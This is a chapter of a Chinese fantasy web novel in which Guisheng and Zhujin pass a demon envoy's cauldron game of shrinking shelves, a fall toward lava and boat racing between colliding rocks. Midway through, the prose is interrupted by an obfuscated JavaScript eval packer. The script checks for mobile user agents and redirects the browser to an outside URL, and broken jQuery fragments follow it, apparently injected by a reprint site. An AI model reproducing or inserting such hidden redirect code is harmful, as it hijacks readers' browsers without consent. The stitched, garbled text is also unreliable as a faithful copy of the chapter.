出了饿殍尸的魔鼎，不知发生何事的众多妖魔惊讶了会儿魔使怎么又死了后，也不多想，继续紧锣密鼓地奔赴下一千阶。


    跟随大部队攀登第三千阶的过程中，归笙觉得累倒不怎么累。


    但——


    很吵。


    非常吵。


    吵得要命。


    “哟哟哟，一连死了两个，这帮家伙是踢馆来了？”


    “不不不，此言差矣，是井下童毁约在先，怪不得人家掀桌子；饿殍尸则是玩过了头，一时忘乎所以，自寻死路，啊哈哈哈……”


    “啧啧啧，不过这么多年了，饿殍尸还是这么恶趣味，就喜欢看人吃人，幸好死了，咱们再也不用被辣眼睛了，鼓掌鼓掌。”


    “我还有点舍不得呢，上回他塞给你的手稿你看了不？我看了，写得确实还不错呢，它如今死了，咱们以后就没得看咯……”


    “新的不去旧的不来嘛，说不定下一个被掳来的也会写呢？再说了，你想看话本的话，上头不就有个现成的？改天去串鼎的时候借来瞅瞅不就得了……”


    千万道声音交织着传来，其中有男有女，有老有少，叽叽喳喳，哇哇啦啦，如有一场肉眼看不见的盛大集会在第三千阶内召开，会上来宾嗑着瓜子跷着二郎腿，围着一众登阶者七嘴八舌地唠个不停。


    归笙被吵得生无可恋，直想捂住耳朵往前冲，尽快走完这段路。


    她都受不了，何况某个总是嫌她吵的魔兽……


    归笙悄悄瞄一眼烛烬。


    却见后者神色平平，瞧不出一丝烦躁的情绪。


    归笙不禁大感郁闷，控诉他道：“你忍不了吵是不是只针对我？”


    烛烬目不斜视，不搭理她。


    归笙当即更加愤慨，在他眼前挥了下手：“喂！”


    烛烬这才一怔。


    他抬手在耳侧一按，原本还算舒展的眉头顿时难以忍受地拧紧。


    即便如此，他还是强忍着不适，侧眸问她：“怎么了？”


    归笙：“……没事了，你把听觉封回去吧。”


    好在第三座魔鼎也不远了。


    不多时，归笙随众人停下了脚步，纳罕地打量眼前的魔鼎。


    与饿殍尸那座一看就不好惹的魔鼎不同，这第三尊魔鼎体态浑圆，鼎身被打理得油光水亮，干净整洁，连雪渣子都没沾上一星半点，简直像一只被老人家养得过分心宽体胖的爱宠。


    随着登阶者兵临鼎下，那些喋喋不休的议论声渐渐平息下来，汇聚成一道柔婉和煦的女声：“先说好，我不要你们的命，你们也别想要我的命，大家以和为贵，和气生财。”


    有妖魔冷笑：“贪生怕死。”


    魔使发出粗哑嘲弄的男声：“对，我就是贪生怕死，我活得好端端的干嘛要死？把这次登阶改成游戏，最开始就是我提出的……谁知道前面那两个蠢货心魔太重，办得稀烂，真是丢我们魔使的脸。”


    有鬼怪怒斥：“一丘之貉，何必装模作样！”


    魔使发出慈祥和蔼的老人声：“不要将我与那两个家伙混为一谈，我可从未害过无辜之人的性命。”


    有魑魅不屑：“这种事情还不是你说什么就是什么？别废话了，快开鼎。”


    魔使发出天真稚嫩的童声：“我真的不会滥杀无辜，我只是太无聊了，想让你们陪我玩一玩。”


    有魍魉急躁：“所以你到底打算怎么折腾我们？”


    话音才落，鼎口大开。


    鼎中一片漆黑，不声不响地张在那里，如一间掩蔽在黑色幕布后的藏宝屋，静待来人进入其中冒险探秘。


    魔使的声音倏然放缓，颇有几分苦口婆心：“各位直接进鼎便可，鼎中处处会有提示如何进行游戏，切记见机行事，及时止损，遇到无法处理的危险千万不要勉强……毕竟我无法完全控制住魔鼎，我不杀人，不代表魔鼎不会。”


    “以及，既然是游戏，便要玩得尽兴，还请各位不要使用修为作弊，我不会像饿殍尸那样压制各位的修为，各位自觉别用就行，不然一经发现，直接出局，送出鼎外。”


    “没有异议的话，”魔使道，“诸位请吧。”


    ……


    进入魔鼎，归笙顿觉周围无光无声无人，唯独手里多了一枚火折。


    她便擦亮火折，幽幽的光亮瞬间漫散开来。


    看清周围的景状，归笙微微愕然。


    方圆三步外，是一围环形的架格，如一支直立的空心羌管，将她环堵在中间。


    架格的层数极多，从底部向上数，直到超出火折能够照亮的范围，都没能数尽究竟有多少层。


    值得注意的是，架格每层都堆满了各式稀奇古怪的物件。


    归笙捏紧火折，一步步走近架格，“哒哒”的脚步声，在狭窄的空间里空空回荡。


    走近后，归笙认出了那些架格上的物件。


    布衫草鞋、斗笠蓑衣、水壶糖糕、笔墨纸砚……这些东西貌似涵盖了衣食住行的方方面面，实在琢磨不出有何共通之处。


    一圈转下来，归笙想不出个头绪，打算再绕一圈。


    结果刚走两步，她手一抖。


    火焰随之一颤，犹如漏拍的心跳。


    归笙低下头，看向自己的双脚，惊疑不定。


    晃荡在耳边的，她自己的脚步声，比绕第一圈时大了一点。


    虽然只有一点，但也是不可忽视的异常。


    可她分明没有用力跺脚，脚下地砖的材质也没有发生变化，脚步声何以莫名放大？


    归笙想了想，探手取向架格上一支尖头洇墨的毛笔。


    指尖方才触及笔杆，耳畔便响起一道稚气未脱的嗓音：“这是我阿娘让我带上的，她嘱咐我要经常写信给她，多报平安。”


    归笙顿了顿，环顾四周，并未见到任何可疑的身影。


    她敛起视线，取下笔杆，蹲下身，用笔尖在地上碾出一道墨痕。


    她刻意让墨痕与架格底边离得极近，只留出不到一寸的距离。


    站起后，归笙将毛笔放回原处，手背不经意碰到旁边的一顶斗笠，便又听到几声爽朗的笑语：“您问这顶斗笠？这是我姑娘亲手给我编的。”


    “她娘走得早，家里只有我们父女相依为命，她就怕我出去这一趟被日头晒着，雨点打着……您想拿去看看？当然可以。”


    紧接着，是一道摘下斗笠的窸窣声响，以及递出斗笠后，对面传来的苍老笑音。


    “阿婆，您若是喜欢的话，等回去了，咱们也常通书信，我让我姑娘也给您做一顶，我亲自给您送过去……没有不方便，咱们不都是同一个地方来的？”


    话音到此结束。


    归笙抽离思绪，低头一看。


    片刻前碾下的那道墨痕已不见踪迹。


    猜想得到印证，归笙心下微沉。


    她知道，墨痕不是凭空消失，而是被架格的底边盖住了。


    这座环形的架格，正在缓慢地向中心缩拢。


    她所处的空间正一点点地变窄，因而放大了她的脚步声。


    就在这时，一根东西从天而降，悬挂在归笙的眼前。


    那是一根纤细的彩绳，由鹅黄柳绿两种丝线织就，明艳好看。


    彩绳底端挂着一截柔软的尺素，悠悠荡荡。


    抬高火折，归笙看到尺素上绣有两列娟秀的字迹：


    “下拉此线，视为放弃，全须全尾，送出鼎外。”


    “附：珍爱生命，该放手时就放手，被挤扁绞碎的滋味不好受。”


    归笙：“……”


    还真是贴心啊。


    归笙别开眼，转过身，快速碰过一溜物件，攫取物件上附有的声音。


    无人理睬的彩绳灰溜溜地收了上去，不消片刻又放了下来，这回底部挂的是一片方方正正的素笺。


    笺上开首是一行指示：“请在下方写出从声音中得到的信息，答对三条，即为通过。”


    归笙刚读完指示，余光里便有寒光一闪。


    她一抬头，就和一排排锯齿刀片对个正着。


    原本缓慢收拢的架格陡然提速，每层木板边沿伸出一排雪亮的刀片，随架格直挺挺朝归笙袭来，“喀喀喀”的震响似急急催命的符音。


    归笙汗毛耸立，匆忙提笔，前两句写得十分顺畅：


    “这些物件的主人是一群离家出远门的人。”


    “人数很多，男女老少皆有，都来自同一个地方。”


    第二句写完，她笔尖一卡。


    还有什么？


    早知道就把第二句拆成两句写了！


    焦头烂额之际，冰冷的刀尖已经抵住了她的肩膀。


    归笙猛一闭眼，蒙了一句上去：


    “没能回去。”


    收笔的刹那，归笙足下一震。


    四面的刀片疾速向上远去，强烈的失重感自足底腾起。


    不是架格原地起飞，而是她脚下踩的地砖原地下坠了！


    更要命的是，地砖外都是空的！


    急遽升腾的气流在耳边嘶鸣呼啸，凄厉若万鬼哭号，听得归笙不由自主双腿发软。


    但这可软不得，脚下就这么丁点的地砖，稍微一个站不稳，她整个人就翻出去了！


    归笙憋住一口气，缓缓屈膝，伏低身形，跪在了地砖上。


    随即，她死死扒住地砖边沿，小心翼翼地探出脑袋，向下望去。


    下方无边无垠的黑暗里，依稀有一个颗粒大的红点，且随着她不断下坠，那小小的红点也逐渐扩张。


    但从某个瞬间开始，归笙感到一股扑面而来的热浪，瞬间就将她的后背蒸出了汗水。


    热浪黏稠灼炽，源头正是下方已经扩张成巴掌大小的红点。


    不，那根本不是什么红点。


    而是一片赤红的岩浆海。


    只因为她正从万丈高空下坠，它在她的视野中才会如此渺小。


    岩浆猩红的光芒涌上天穹，总算将黑咕隆咚的环境染亮。


    周围有许许多多的入鼎者，和地砖一同下坠的同时，也同她一般对着下方越来越近的岩浆发愁。


    四处张望了一阵，归笙没费多少工夫便找着了烛烬。


    毕竟在一众奇形怪状的妖魔里，他身姿秀颀得独树一帜。


    此时此刻，他站在地砖上，望着下方的岩浆，也是眉头紧锁。


    但归笙的重点是：他怎么站得那么稳当！


    衬得她龟缩在地上的姿势好窝囊！


    许是归笙的不忿太过惊天动地，烛烬有所感应地一偏头。


    四目相对。


    归笙似乎看到他的眉头微微松开。


    她正要张口喊话，一痕飘落的青绿蓦地阻断了二人的视线。


    归笙：……哪里来的绿色？


    她愣愣抬首，看见不计其数的柳枝漫天飘下。


    刚才飘到她眼前的绿色，正是枝条上的青青柳叶。


    ……见过天上下雨下雪的，还是头一回见到天上下柳枝的。


    归笙不明所以，试探着接住一根柳枝。


    枝上柳叶忽然抽丝暴涨，如一块翠绿的幕布蒙住了她的眼睛。


    幕布上有灵动的画面呈现，映入眼帘的是一派青山丽水。


    山水之间，有村落屋舍，鸡鸣狗吠，有长亭短亭，杨柳依依。


    以及，很多很多的人。


    归笙观察须臾，判断这些人可以分成两类——


    那些满面憧憬的，是将行之人；那些满面不舍的，则是送别之人。


    其中，将行之人的腰间，几乎全都别着一枝被泪水浸透的柳枝。


    “那位大人说了，此行必然满载而归，足够咱们余生无忧。”


    “阿娘，您为我操劳了一辈子，等儿子这趟回来，便是儿子孝敬您了。”


    “囡囡，你想到处走走看看，爹娘支持你，不拦你，但你一定要吃好睡好，有空多往家里写点信报平安……爹娘等你回来。”


    依依惜别声里，漫山遍野的背影一步步在煦暖的光辉中远去。


    送别的画面消失，蒙眼的柳叶脱落。


    下方，岩浆河面离地砖越来越近，腾起的热浪近乎能把人烤成人干。


    所剩的时间不多了。


    归笙想着在柳叶中看到的场景，半蒙半猜地把手里的柳枝往腰间一别。


    身下的地砖陡然外扩一寸。


    归笙两眼一亮：蒙对了！


    一直盯着她的烛烬见状，也拿下一把柳枝，学着她的样子别在腰间，足下的地砖果然也随之扩展。


    归笙还发现，通过调转柳枝弯垂的指向，可以决定地砖延伸的方向。


    她当即将所有的枝条对准烛烬，烛烬亦是如此。


    二人就这么一边下坠一边收集柳枝，两方的地砖也一寸一寸地向对方延展，如同在相向搭建一条悬空的桥梁。


    顺利会合的刹那，两方地砖连成一个整体，四方边沿猛地拔高翘起，平展的底座则急剧收窄拉长。


    猝不及防间，后方拔高的砖块“啪”一下拍上归笙的脊背，把她往前重重一推。


    “咚”的一声闷响，归笙迎面撞上了烛烬的胸膛。


    并陷了进去。


    深深地。


    “……”


    烛烬微微一顿。


    他抬手，揪住归笙的后领，把她拔了出来。


    也没能拔多远，毕竟地砖仍在剧烈变化，稍微拔远点就会磕到碰到。


    归笙被烛烬放回地上站好，迟迟没回过神。


    她恍恍惚惚，迷迷蒙蒙地抬手，摸了摸自己残留余温的脸。


    罪过……


    她人是出来了，意识却好像还滞留在那道深深的沟壑里……


    虽然早有目测，但没想到真枪实刀地撞进去，竟会是那般令人心驰神荡的奇妙感受……


    好像比他化回原形时的那种毛茸茸的触感还来得诱人一些……


    烛烬道：“形态变了。”


    归笙猛地回神，默默对烛烬暗道一迭声“罪过”后，顺着他示意的方向低头看去。


    地砖的变形渐趋稳定，最终定形成一艘柳叶状的小舟，下落的速度也匀缓许多。


    舟底落入岩浆河前，归笙好奇地环视一周，发现大多数入鼎者都完成了和搭档的会合，安安稳稳地坐进了小舟。


    而那些没能促成地砖变形的，在触及岩浆前，全部连人带砖凭空消失了，约莫是被魔使送出了鼎外。


    目前看来，这第三位魔使说不想要他们的命，貌似没有撒谎。


    舟底触及岩浆，浅浅一沉，又一浮，成百上千只小舟开始在岩浆河面上缓缓漂流。


    舟中，归笙双手抱膝，缩起肩膀，竭力弱化自己的存在感。


    原因无他，只因她坐的位置，实在是有点尴尬。


    她坐在烛烬的两腿之间。


    没办法，这小舟刚够塞下两个人，而他身量太高，她也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795327|189864||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不矮，只能这么将就挤挤，凑合着坐。


    余光里，坐在她身后的烛烬两手无处可放地搭在船舷上，一双长腿略显憋屈地支在她的身体两侧。


    温热均匀的呼吸，则深深浅浅地洒在她的颈窝。


    归笙冷不丁想起被玄婴兽当作美食一爪拍到地上，魔兽危险的气息无孔不入的不妙回忆。


    她当即打了个寒噤，正要默默把自己缩得更小。


    膝前蓦地竖起一根杆状的事物。


    这竖杆是砖木材质，坚硬却不死板，底端插入舟底，顶端则膨作球状，球的大小刚好够一手握住。


    这是什么东西？


    归笙奇异地伸手，握住那只球球，向后一拉——


    舟身当即一个猛刹。


    归笙整个人向后一倒，好在有烛烬在后头托了她一下，不然这一刹的力道绝对能把她甩得飞出船尾。


    烛烬：“小心点。”


    归笙定了定神，开始潜心探索起这根疑似是用来操纵小舟的手杆。


    一番探索实践的结果是：上下扳动手杆，小舟会跳跃或下沉；前后左右转动手杆，小舟则会调转方向。


    归笙大感惊奇。


    虽然她早知道修士除灵宠坐骑之外，还有许多用于出行的法宝，如云辇霞轿、飞鹤金车、潜海龙船等，从可供一人乘坐，到可以搭载成百上千人，各式各样，不一而足。


    但这还是归笙头一回亲身体验其他的出行方式，她以前最稀奇的出行体验，便是师母、师父、师兄御剑时带着她。


    说起来，前不久她还听师兄提过一句，天霄派的所有器修奉诸峰长老之令，正在合力打造一艘可沉入深海，潜行万里的船舶。


    听说设想里的船体大如巨鲸，为了最终成品不缩水，掌门云起凡直接以剑阵在七峰间的空余处开辟了一道深壕天堑，专供器修造此船使用。


    归笙没亲眼见过造船的现场，但她能猜到那艘船是用来干什么的。


    古往今来，中州无论大小宗门，但凡兴师动众，多是为外出搜罗法宝。


    中州域境内，崇山峻岭连绵不绝，江河湖海星罗棋布，天灵地宝蕴藏其间，只待寻宝者收入囊中。


    想来不久之后船舰造成，天霄派便要派遣修士外出，驱船进入中州各处水域，充盈门派的藏宝阁了。


    归笙还曾向云临渡申请：“到时候你跟去寻宝的话，能不能把我装进乾坤袋？我绝对乖乖的不惹事，我就是想体验一下这艘传说中能装下上千人的船！”


    云临渡回她道：“你做梦。”


    给归笙气得三天没理他。


    第三天傍晚，云临渡端着她最爱吃的菜式，敲门道歉。


    他说：“我也去不了，掌门钦点出行的人里，身份最低的也是各峰长老的座下修士。”


    扯回思绪，归笙叹了口气。


    她好想师兄啊。


    归笙垂头，架着小舟左摇右摆了一会儿，掌心突然硌得慌。


    她一抬手，就见杆顶的球球上浮现出几个歪歪扭扭的小字：


    “不想被挤扁，就掰断此杆。”


    挤扁？


    归笙四下张望。


    岩浆河面宽敞浩荡，四面八方都望不到尽头，虽有数千只小舟齐头并进，但皆是迟缓漂行，且彼此间的距离甚是疏阔，可谓互不干扰。


    在这种情形下，能被什么挤扁？


    正困惑间，前方岩浆的熔流里，忽然矗起一块炭黑的礁石。


    归笙顿时全神贯注端详那块礁石，试图找出其中暗藏的玄机。


    没等看出蛛丝马迹，她后背倏地贴上一具紧实的躯体。


    烛烬的手覆过归笙的手，将手杆迅速向前一推。


    “砰——！”


    电光石火间，小舟窜出去数丈之远，将一声石破天惊的爆响远远甩在身后。


    归笙惊魂未定地回头，就见方才小舟所在之处，有两块礁石狠狠撞在了一起，嵌合成了一块更大的礁石。


    ……原来她之前光顾着注意前方的礁石，没留意到从小舟两侧袭来的危机。


    若非烛烬及时出手，这会儿他二人恐怕真的已经被挤扁了！


    如被这声礁石碰撞的动静惊醒，原本徐徐流淌的岩浆河流骤然开始湍急奔流，河上千帆被迫竞发。


    可怕的是，这岩浆河的流向并非一成不变，而是纵横曲折，跌宕起伏，毫无章法，有时甚至会在某处形成漩涡，将波浪席卷范围内的小舟尽数吸到涡眼，一举歼灭。


    祸不单行，无数黑乎乎的礁石悄无声息浮出河面，两两组队疯狂漂移，夹心相对撞向小舟，速度快到曳出残影。


    这不，归笙看到一只深陷漩涡的小舟被一对礁石逮住了。


    即将被生生撞成肉泥之际，舟中妖魔只得掰断手杆。


    瞬间，他们连魔带舟地消失了。


    看完这一出，归笙也没空再看其他的了。


    她摇手杆摇得飞起，既要躲发癫的岩浆漩涡，也要躲虎视眈眈的礁石，还要躲一头撞过来的其他小舟。


    不过一阵手忙脚乱后，归笙渐渐摸出了些章法。


    然而刚生出点自信，她一个左转闪避礁石，就和礁石后疾驰而来的另一只小舟绝美邂逅了。


    归笙：“！！！”


    两方人马惊恐对视，同时将手杆拉到了底。


    却谁也没能阻止两舟侧撞，“咚”的一声后，两只小舟同时倾斜腾起，变成了一对飞舟。


    半空中，即将翻船之际，烛烬一把攥住另一侧的船舷，往下一扳。


    小舟当即一个拧身，猛猛一沉，还算稳当地落回河面。


    而与他们相撞的那一舟则直接翻了船，舟中妖魔在落入岩浆前被送出了鼎外。


    有惊无险，劫后余生，归笙简直热泪盈眶。


    却暂时没时间给她身后的人上天入地一顿赞美，她还得继续驾驶小舟避险前进。


    或许是该翻的船已经翻得差不多了，剩下的小舟大多技术高超，在礁石的夹击间划出一道道精彩绝伦的弧线。


    归笙也逐渐成为其中一员，且因飙舟飙得越发得心应手，心中竟隐隐泛起几分诡异的兴奋，有股想要一较高下的热血直冲头顶。


    一路激情竞速的结果是，当河岸近在前方，四下已经没有了礁石的威胁，她也下意识要搞个高难度的漂移跳跃来炫技。


    结果还没拉上手杆，一只手便将她的手整个包住，按下了她的动作。


    身后响起烛烬无奈的声音：“……轻一点，它快断了。”


    归笙一低头，果然见手杆裂开了一道长缝。


    ……大概是她刚才热血上头，拉杆太过暴力造成的吧。


    归笙彻底冷静下来，讪讪地道：“抱歉，抱歉。”


    小舟稳稳靠岸后，魔鼎的出口也在前方浮现。


    一众顺利通关的入鼎者玩过了瘾，走上岸后仍不住欢呼大叫，口哨连连，声声夸赞这位魔使有点意思。


    归笙则仍提着一颗心，直到跟随大流平安走出魔鼎，真切地重新站回了陨阶上，才将这颗心咽回了肚子里。


    这位魔使当真信守承诺，只是同他们玩一玩。


    出鼎的登阶者越来越多，稍作休整后，便继续向上攀阶，赶往下一座魔鼎。


    见状，归笙回头，轻快地道：“我们也该……”


    话音戛然而止。


    身后人影纷纭，却没有那张熟悉的面孔。


    烛烬不见了。